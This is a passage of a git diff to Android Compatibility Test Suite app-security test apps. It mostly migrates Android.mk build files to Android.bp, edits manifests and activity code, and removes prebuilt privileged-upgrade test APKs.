-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 1797c75..fab17a5 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -20,18 +20,16 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
 LOCAL_PACKAGE_NAME := CtsNoRestartBase
 LOCAL_SDK_VERSION := current
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-LOCAL_SDK_VERSION := test_current
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
index 0d2ded5..c7550e0 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
@@ -23,14 +23,18 @@
         tools:ignore="AllowBackup,MissingApplicationIcon" >
         <activity
             android:name=".NoRestartActivity"
-            android:launchMode="singleTop">
+            android:launchMode="singleTop" >
+            <intent-filter>
+                <action android:name="com.android.cts.norestart.START" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.intent.category.BROWSABLE" />
+                <category android:name="android.intent.category.DEFAULT" />
                 <data android:scheme="https" />
-                <data android:host="foo.com" />
-                <data android:path="/bar" />
+                <data android:host="cts.android.com" />
+                <data android:path="/norestart" />
             </intent-filter>
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -38,8 +42,4 @@
             </intent-filter>
             </activity>
     </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-             android:targetPackage="com.android.cts.norestart" />
-
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
index 3558eb7..c9882b8 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
@@ -29,11 +29,9 @@
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 
-localRStamp := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME),,COMMON)/src/R.stamp
-featureOf := CtsNoRestartBase
-featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
-$(localRStamp): $(featureOfApk)
-LOCAL_APK_LIBRARIES := $(featureOf)
-LOCAL_AAPT_FLAGS += --feature-of $(featureOfApk)
+LOCAL_USE_AAPT2 := true
+LOCAL_APK_LIBRARIES := CtsNoRestartBase
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.norestart
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
index f98cb0d..9c71363 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/AndroidManifest.xml
@@ -16,8 +16,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
     package="com.android.cts.norestart"
-    android:targetSandboxVersion="2"
     split="feature"
+    android:targetSandboxVersion="2"
     tools:ignore="MissingVersion" >
 
     <application
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
index 09ea8bd..26d5712 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
@@ -16,38 +16,35 @@
 
 package com.android.cts.norestart;
 
-import android.content.Intent;
-import android.os.RemoteCallback;
 import com.android.cts.norestart.R;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.os.Bundle;
 
 public class NoRestartActivity extends Activity {
-    private static int sCreateCount;
+    private int mCreateCount;
     private int mNewIntentCount;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.no_restart_activity);
-        sCreateCount++;
-        final RemoteCallback callback = getIntent().getParcelableExtra("RESPONSE");
-        sendResponse(callback);
+        mCreateCount++;
+        sendBroadcast();
     }
 
     @Override
     protected void onNewIntent(Intent intent) {
         super.onNewIntent(intent);
         mNewIntentCount++;
-        final RemoteCallback callback = intent.getParcelableExtra("RESPONSE");
-        sendResponse(callback);
+        sendBroadcast();
     }
 
-    private void sendResponse(RemoteCallback callback) {
-        final Bundle payload = new Bundle();
-        payload.putInt("CREATE_COUNT", sCreateCount);
-        payload.putInt("NEW_INTENT_COUNT", mNewIntentCount);
-        callback.sendResult(payload);
+    private void sendBroadcast() {
+        final Intent intent = new Intent("com.android.cts.norestart.BROADCAST");
+        intent.putExtra("CREATE_COUNT", mCreateCount);
+        intent.putExtra("NEW_INTENT_COUNT", mNewIntentCount);
+        sendBroadcast(intent);
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
deleted file mode 100644
index 3582ed7..0000000
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.norestart;
-
-import android.content.Intent;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class NoRestartTest {
-    @Test
-    public void testPokeFullApp() {
-        final Intent intent = new Intent();
-        intent.setClassName("com.android.cts.splitapp", "com.android.cts.splitapp.MyActivity");
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        InstrumentationRegistry.getContext().startActivity(intent);
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
new file mode 100644
index 0000000..92b45ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsOrderedActivityApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
deleted file mode 100644
index 9784c60..0000000
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := 23
-LOCAL_PACKAGE_NAME := CtsOrderedActivityApp
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
index faefff2..b5f38c6 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
@@ -16,7 +16,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.appsecurity.cts.orderedactivity"
         android:versionCode="10"
-        android:versionName="1.0">
+        android:versionName="1.0"
+        android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
         <!-- Activities used for queries -->
         <activity android:name=".OrderActivity2">
diff --git a/hostsidetests/appsecurity/test-apps/OverlayApp/Android.bp b/hostsidetests/appsecurity/test-apps/OverlayApp/Android.bp
new file mode 100644
index 0000000..20203bf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/OverlayApp/Android.bp
@@ -0,0 +1,26 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsOverlayApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/OverlayApp/Android.mk b/hostsidetests/appsecurity/test-apps/OverlayApp/Android.mk
deleted file mode 100644
index 21366a5..0000000
--- a/hostsidetests/appsecurity/test-apps/OverlayApp/Android.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsOverlayApp
-
-# Tag this module as a cts test artifact
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
new file mode 100644
index 0000000..01c36f3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPkgAccessApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "ub-uiautomator",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
deleted file mode 100644
index e2f9e12..0000000
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    ub-uiautomator
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsPkgAccessApp
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
new file mode 100644
index 0000000..64a8e7c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsPermissionDeclareApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsUsePermissionDiffCert
+    certificate: ":cts-testkey1",
+}
+
+java_library {
+    name: "CtsPermissionDeclareUtilLib",
+    srcs: ["src/com/android/cts/permissiondeclareapp/UtilsProvider.java"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
deleted file mode 100644
index 8521093..0000000
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsUsePermissionDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
new file mode 100644
index 0000000..2a86949
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPermissionDeclareAppCompat",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "16",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsUsePermissionDiffCert
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
deleted file mode 100644
index 5f48099..0000000
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := 16
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsUsePermissionDiffCert
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
new file mode 100644
index 0000000..d2cfed1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsPermissionPolicyTest25",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    min_sdk_version: "25",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
deleted file mode 100644
index d93dc25..0000000
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsPermissionPolicyTest25
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index 2ced2b9..4c8dcd5 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -57,26 +57,6 @@
 include $(BUILD_PREBUILT)
 
 ###########################################################
-# Variant: Privileged app upgrade
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradePrebuilt_v28
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# The 'arm' apk has both arm and arm64 so's. Same for x86/x86_64.
-my_apk_dir := $(subst arm64,arm,$(TARGET_ARCH))
-my_apk_dir := $(subst x86_64,x86,$(my_apk_dir))
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgrade_v28.apk
-
-include $(BUILD_PREBUILT)
-
-###########################################################
 # Variant: Privileged app upgrade (wrong SHA)
 
 include $(CLEAR_VARS)
@@ -93,21 +73,4 @@
 
 include $(BUILD_PREBUILT)
 
-###########################################################
-# Variant: Privileged app upgrade (wrong SHA)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt_v28
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgradeWrongSHA_v28.apk
-
-include $(BUILD_PREBUILT)
-
 my_apk_dir :=
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
deleted file mode 100644
index 2faf2d4..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
deleted file mode 100644
index 93f6f19..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
deleted file mode 100644
index d7e0826..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
deleted file mode 100644
index f0cc8b6..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
deleted file mode 100644
index 77d2b82..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-#LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
-#LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-LOCAL_PACKAGE_NAME := CtsPrivilegedUpdatePreparer
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
deleted file mode 100644
index 026fd94..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
